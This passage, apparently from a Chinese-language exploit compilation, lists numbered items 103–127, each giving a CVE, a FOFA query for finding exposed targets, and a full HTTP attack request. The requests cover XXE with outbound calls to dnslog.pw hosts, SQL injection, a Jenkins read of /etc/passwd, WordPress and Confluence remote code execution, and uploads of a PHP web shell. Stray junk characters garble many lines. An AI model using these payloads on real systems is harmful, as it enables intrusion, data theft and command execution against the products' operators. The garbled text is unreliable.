       <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
7 b: K, V* V0 D) l! p( |CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
5 Z: A7 I' a9 ?. b& mPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
5 y& o1 A; Y8 T$ {' aHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
* @4 Z3 O$ M* ^
' E7 O$ N5 R8 i5 W" QSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

9 w6 B9 I' B+ A
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
9 |( l/ d. v# Q( ~# O) `# ?<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


. F; H* V* S8 x8 _! I" b/ e3 W9 [104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
' x& b& r4 i* u, Q" D+ [- U% CFOFA：title="TOTOLINK"
6 D0 \' C! j6 G3 @# ]3 T5 jPOST /cgi-bin/cstecgi.cgi HTTP/1.1
  ~0 h2 Y( |9 v) U6 R; o4 RHost:192.168.0.1
1 _: V0 P2 R8 W! o9 KContent-Length:41
0 \: E$ n1 }$ q9 B% U* P1 aAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
  C$ ~. H+ e- h( p9 p( G" fReferer: http://192.168.0.1/advance/index.html?time=1671152380564
% S0 W. \1 J: {- X: Z# f, LAccept-Encoding:gzip,deflate
$ C/ B  u8 i& E4 z9 Y, q6 fAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
# t4 U2 F0 ]/ }1 D* A; G5 LConnection:close
" |6 l' O: ^; T( n# `4 K
4 b' s" W% b2 D% E# X; J9 y{
"topicurl":"getSysStatusCfg",
"token":""
}
* R( O# o( r  e& P) C9 h% t
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
6 r. n2 r+ ~- ?+ I4 p3 s2 Shttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
$ q: E" `, T8 f4 d
106. SpringBlade dict-biz/list SQL 注入
. G  @8 q* J& @' g$ d" |FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
; G) E4 E+ @+ l" q+ n2 lGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
% @4 ^+ T% z0 L$ R! b# {: ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) Y: v! ]0 B2 l- D3 zBlade-Auth:替换为自己的
Connection: close

; A2 P: }; H: O* o# e* Y9 a  m. v
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
; L4 J/ B6 j) `0 B. SGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
( ^1 W, L5 o# Q* ?: w# L" t; EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, W3 n6 t6 ]( G) l# b# u$ SAccept-Encoding: gzip, deflate
* a: M, z; L. E" H9 `* X) e$ zAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
7 S# X8 k5 ~  cConnection: close

6 C# j5 R; u- @8 n
109. Jenkins CLI 任意文件读取
- }+ J1 L! A! k, N% |CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
" j6 z3 f0 l+ i$ R: YHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
/ Y' g0 P  y3 I3 LContent-Length: 163

7 O1 C( O+ r% S5 N/ {# d# Tb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
5 R7 T) J0 ^6 M' v9 {
" f8 x, v0 f$ H
POST /cli?remoting=false HTTP/1.1
Host:
/ J. w7 V! C. ]Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
& k& K7 Z; T3 h) h" tdownload
) g& B" L/ O! s( S0 B, o( r8 eContent-Type: application/x-www-form-urlencoded
1 [8 B. _% p9 F: P( kContent-Length: 0

" w  s- G, W! @
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
" I4 z4 U9 B( ijava -jar jenkins-cli.jar help
! l. V. }% C6 z5 u; d) A[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
8 w- [! b" |! W$ K

110. Goanywhere MFT 未授权创建管理员
5 A( b* L+ R( Y5 n7 Y3 jCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
) n/ I& m  w( x4 ~4 _! XGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
9 B  D( G; L0 v) Y6 @Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
& h+ K( Q7 u% W" r$ kAccept-Language: en
" s& [6 H  K) g) g& D0 D' CAccept-Encoding: gzip

4 a+ v) s9 _: ?& k" H; R
111. WordPress Plugin HTML5 Video Player SQL注入
( n0 W* y* x7 |7 v4 f, Q* gCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
" j; c* p' J9 MHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
# F6 B( p& `: G( hAccept: */*
Accept-Language: en
Accept-Encoding: gzip
7 r" q: Y' q1 M. ~; I/ N% y- c3 i

112. WordPress Plugin NotificationX SQL 注入
$ A! N1 q! r1 g9 K: zCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
7 K9 ]6 |! t: J/ E7 PContent-Type: application/json

  d3 K( v. \7 N# l{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
6 ?5 h# O/ a6 T3 @
6 H* e# t0 z$ A9 h5 E
: J( d! D9 u" U% l2 O8 M& q4 }113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
4 e& _  S) Z0 J' x1 tGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
/ Z8 V! d1 ?- K0 F& ?& S' gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
# }( \, i% p; h6 B& p) q, NConnection: close
4 p+ C4 w, q$ S5 s& GAccept: */*
Accept-Language: en
6 b6 M6 y; P6 JAccept-Encoding: gzip
; V0 E8 t- J3 v9 I
4 f$ o" t' m5 V  T/ G% C
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
/ ]) _/ m+ D! l, w* [& [6 PHost: your-ip
# Y. T+ Z5 i. K  ^# J2 |& S  }User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
1 s8 m' [) |8 E2 G/ C+ UAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
7 e; `, t6 }( q! L. }% v7 }( J3 R/ ^Connection: close
; u$ n9 E( k: C- f1 P6 ]  t. B
/ v& k) D2 v8 s
# B, f( s) U. S115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
2 B0 k3 g- Q$ [( ]" tFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
; w5 @( h# N% `# `  z/ f1 a2 b, G+ ?+ @GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
: K/ N$ n. d4 }Connection: close
# g; w  ~9 N" [9 j* J  r, o; Q6 ]Accept-Encoding: gzip

7 _% `7 a3 |0 |# u' C
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
. W4 Q  |" r" @! U* V8 s6 X8 L. }+ UHost: x.x.x.x
: f. A& G$ L2 R3 @- bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
! u2 F1 ]* i0 v. p# B' R" J9 u! ZConnection: close
/ b! J% d4 H$ v8 p  G! ~: c6 zContent-Length: 356
$ q* L+ s/ t, j2 ]1 d* K+ k, u& Q' WContent-Type: application/json
Accept-Encoding: gzip
/ I8 ~- n* T0 k! w+ R4 o
{
"postId": "1",
$ K) U# {' J6 S& N5 j& p, z2 F* d  "nonce": "第一步获得的值",
/ V1 s5 `$ V" G8 X  "element": {
    "name": "container",
    "settings": {
; \9 S8 H3 \% w; U. z" Y      "hasLoop": "true",
      "query": {
! B& }( X$ u  i7 g- u; L( V        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
# E4 h4 V3 q# z; j1 J) ]- X3 H        "objectType": "post"
      }
    }
  }
}

# _* `/ z$ w% f# u) O  n
116. wordpress js-support-ticket文件上传
4 r. k$ i6 w+ f% |6 H  Z9 v$ Y" \FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
- Z, j  F5 I* Q, n, ?
----------767099171
7 ]( i  h2 X9 _, ]Content-Disposition: form-data; name="action"
  w: _1 g/ f% i* \. m- [7 Q' aconfiguration_saveconfiguration
----------767099171
* {  A+ [  ]( q- RContent-Disposition: form-data; name="form_request"
jssupportticket
- w! U! G4 |3 {8 u1 A----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
: J8 o' r9 I+ @" L8 d( f/ i, S0 t----------767099171--


& ~  d- A/ ]$ z: y5 |117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
: z+ r5 s1 ?! V' F) wFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
, x4 C! z1 O9 X9 XHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
) r% Z- _4 m: n) L& g$ Y2 YConnection: close
Upgrade-Insecure-Requests: 1

2 A' [" a0 ]1 h2 s2 K' e1 g
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
5 Y& i0 a0 ~5 G  |' A8 L6 q6 Q3 P2 TFOFA：title="Smart管理平台"
4 T5 J! X3 ^* Q: C( i- aPOST /Tool/uploadfile.php? HTTP/1.1
2 r6 j, u& s9 r$ b! v1 xHost: 192.168.40.130:8443
6 S9 f$ m' }  Q( ?! x$ XCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
$ m$ T. v% ?  y9 y0 {: iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! g3 P% g7 v& a, P' U! m6 l8 RAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
5 K7 i6 V3 o8 R& h* r1 n7 sOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
/ _. e7 u0 i4 f, ]- W4 MUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

' q4 t& v- H" \' i1 E3 i-----------------------------13979701222747646634037182887
8 [; a- A% }  V; }8 y5 c, {2 U3 GContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
, N4 d% _2 f% ?% c0 k! q% [
<?php
- R  j9 Q. Z. x$ y" Q8 T( hsystem($_POST["passwd"]);
/ Y/ W2 z6 H0 N% \2 ]- P- I& }?>
-----------------------------13979701222747646634037182887
8 B  V: M! U/ m2 xContent-Disposition: form-data; name="txt_path"
, [" r; M9 D( a- t
4 i, }; f, K# L/home/src.php
7 f1 |$ M7 }" t3 V5 g" R( Y-----------------------------13979701222747646634037182887--

; {, z2 O$ Y+ [2 M" @
8 C( P( O0 c% Z; w# Z访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
* s& f& B1 k- u1 F- K: p. ?. zFOFA：title="Smart管理平台"
# S+ d9 }! v6 d2 J5 o" _8 p+ c& B先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
1 j5 J" w) Z& L4 V* j9 J  UCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
) m. D+ f- k1 f1 j* x8 b2 dAccept: */*
( y4 M- C8 {5 `: CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
: O  y* @" g; [* UContent-Length: 109
) o/ @! T3 J. q4 rOrigin: https://58.18.133.60:8443
! ^/ r) {' m/ NReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
/ E' m$ h, E: S4 L. ~% H1 zSec-Fetch-Mode: cors
5 N& m  t# H( q& G6 b% e8 PSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
/ a) m! H7 R7 d; ^6 m- ~X-Originating-Ip: 1.1.1.1
7 Z5 t+ M& a2 {6 [+ sX-Remote-Ip: 1.1.1.1
$ Z/ F4 P% U4 }/ hX-Remote-Addr: 1.1.1.1
: F8 L+ V" c' D: r1 O& I6 I6 UTe: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
9 o2 `! f5 j7 H9 B7 y5 o
" g( T; A5 s; |( t! ]8 b
120. 北京百绰智能S40管理平台导入web.php任意文件上传
2 o7 g9 ^! R5 k1 n5 \) R. [CVE-2024-1253
FOFA：title="Smart管理平台"
" D) r) `" o/ r2 Y0 ]9 kPOST /useratte/web.php? HTTP/1.1
Host: ip:port
* w% s  e9 Y/ \9 ]7 ^0 X& nCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
; b3 ?7 R0 C1 d1 i+ p: Z8 ~! IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* a0 b) [" \# E" RAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
# l& R. x$ r4 k( r' DOrigin: https://ip:port
4 x$ ^9 {8 ?. y9 }* ~Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
, ^2 G; j; u9 L! K" xSec-Fetch-Dest: document
6 E2 ?( u$ b# E) [8 GSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
: h2 S* R, p- z* n6 I8 E7 G4 vConnection: close
9 p! Y# S0 `3 D  C, j( q% @
-----------------------------42328904123665875270630079328
$ s+ @- ?# t2 f1 ]+ t9 J) cContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
3 Q* b8 E" u4 m
<?php phpinfo()?>
  J7 ^0 B0 Q: s4 Q. v-----------------------------42328904123665875270630079328
1 p" G9 Z8 P7 H; K0 v! g0 a* v) hContent-Disposition: form-data; name="id_type"

' @; ?2 Y8 u# Y, M1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

* j" |0 ^4 ~2 u1 ^" p3 s' \1_radhttp
-----------------------------42328904123665875270630079328
7 c# {9 ~: o( AContent-Disposition: form-data; name="mode"
4 G6 ~& Q0 {* ]4 {6 o  d: H- b
import
-----------------------------42328904123665875270630079328
5 z( V% ^% ], T
8 S) ~' h& Y% s6 J% S
文件路径/upload/2.php
, U* i' F! D9 m/ A! [: I  I; a- R* z( |
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
/ y# T: ], G2 @) n+ n  m- xHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& h1 Q. o+ y/ @2 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% \* ^; X. T' x* wAccept-Encoding: gzip, deflate
/ J4 |; Z; F+ u- N2 d& x, }/ hContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
8 p' v( ~7 y- I- R9 ]; r. r9 ESec-Fetch-Mode: navigate
8 ?7 r! [7 h5 WSec-Fetch-Site: same-origin
+ P3 @& o3 m; d/ j7 X- c' iSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
9 C/ F) F- c& l( d* w. x. x9 xContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
; M% Z5 j+ t- Z-----------------------------42328904123665875270630079328
; e$ O2 @: q& z* }Content-Disposition: form-data; name="id_type"

+ F$ C5 q2 ?: j1
( D' F! b: V* ?, C! s-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
* i0 h" Y/ F7 ?- I: f7 ^. w-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
" R% w3 ~( J8 Y5 e2 d: s* R
  M' C/ u$ V9 |! hset
-----------------------------42328904123665875270630079328


7 ?. }( c/ _, ~: @  I6 nboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
& a5 O4 W$ I* M7 D  w0 q其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
# a1 ]- g+ [9 z- O  G" _7 O& b+ L! QGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
' s: c/ [% w) b. n5 A: XHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
1 a  O, Y7 n9 R; s4 v. T% K5 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% `" W) q+ _8 V0 W; [6 i6 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
2 L/ U$ f3 L7 x/ LUpgrade-Insecure-Requests: 1
- X# _1 J( B. A- u8 o0 o8 ], ySec-Fetch-Dest: document
+ \7 [% \! x1 k0 @# q- p/ CSec-Fetch-Mode: navigate
+ s/ c. O. v7 d- XSec-Fetch-Site: none
3 F. t2 j& n7 l7 T) G6 NSec-Fetch-User: ?1
' R+ [; g4 z% `0 V5 s7 ~Te: trailers
7 ~4 n0 w0 X% F' s/ wConnection: close


6 z7 q" G) A7 A; h$ G; ~123. Atlassian Confluence 模板注入代码执行
! ^4 o$ n6 H3 \7 ZFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
$ D1 v, i9 Y8 ~3 T: J; N# ?! z, IPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
( g: c7 @9 U1 W$ z) ?1 k. t  ~Accept-Encoding: gzip, deflate, br
! K8 ^& z+ B. T2 o1 RAccept: */*
' j' V6 x; P. R) d, ~" S' a2 q2 r; e& KAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
! r7 O$ l1 @% x- U$ M. HConnection: close
Content-Type: application/x-www-form-urlencoded

& T; g: Q* F6 Q4 Zlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


  R; q* m, ^% L, G$ @; `1 |124. 湖南建研工程质量检测系统任意文件上传
0 c( B0 o) a* z: IFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
# g$ H0 a& a9 SUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
. ^7 T% Z0 ^/ Z6 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
6 t; X: F3 B( iAccept-Encoding: gzip, deflate, br
# b" Y+ j, {' N2 R& Y  J9 j/ z. D6 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
- J; B+ U5 \" p- \+ l4 w/ L
: a, d; y* U2 {  f, }filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
3 w$ C9 M' _: g5 [$ I- \1 r3 f. a! A

8 l8 B2 r) g  W. zhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
  }6 f/ \: v1 v5 T5 l% h
125. ConnectWise ScreenConnect身份验证绕过
. s" M9 g' |+ h$ p! X* S1 F% W1 gCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
+ k% j% k% C3 |% w7 V9 E8 T$ g

# I5 K  A1 F9 ]* d- x+ @使用方法
# H5 _; d1 N0 p. L) D9 E3 ~" Kpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
4 i3 ?: j& w4 J4 s* R% s
+ A/ _' N6 |  c9 o126. Aiohttp 路径遍历
) `2 a- i: r8 o3 c6 m" i6 Z) GFOFA：title=="ComfyUI"
) n3 k. C! n& V% DGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 s4 ^7 q9 z) B) {1 [1 d0 h( F! NConnection: close
4 u" }: J" q0 ?* V" \Accept: */*
) O0 e9 Y1 y$ wAccept-Language: en
& f6 U$ ]5 r8 |1 k- R% F4 D8 zAccept-Encoding: gzip


& V! l  e, k' i% A- h127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
5 \9 K+ y9 Q4 ]: }$ ~; NHost: 192.168.40.130:8888
$ g" M- M, j1 s9 V( S1 Y" V9 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
, r6 A6 p/ i) z7 Y$ w2 B, h, KContent-Length: 415
9 ]) \9 L) [) @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 G# Y9 o6 z$ L! F# D& OAccept-Encoding: gzip, deflate
, g. h) `: ^5 H. A$ C+ A8 KAccept-Language: zh-CN,zh;q=0.9
Connection: close
1 C6 B; x. D2 `. ], H6 GContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

. r" N. W" ~! ~/ A% i1 V1 T------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

2 x; Z- ?1 `% [BIM
6 E  ]- O  Y4 k+ q------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
' A; k; I! X8 u! h1 `
/ L- L* ^: X) n0 r& e<?xml version="1.0" encoding="UTF-8"?>
7 Z/ i& X% j) V: ]! L% j0 l<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
9 Z9 u) n1 F/ @1 s! n! U: I<test>&t;</test>
8 V% h" M* U! I+ c1 B6 C1 j------WebKitFormBoundaryJGgV5l5ta05yAIe0--

" W  c7 W2 [, X# I8 z% w. M
% p2 b, I2 _# @
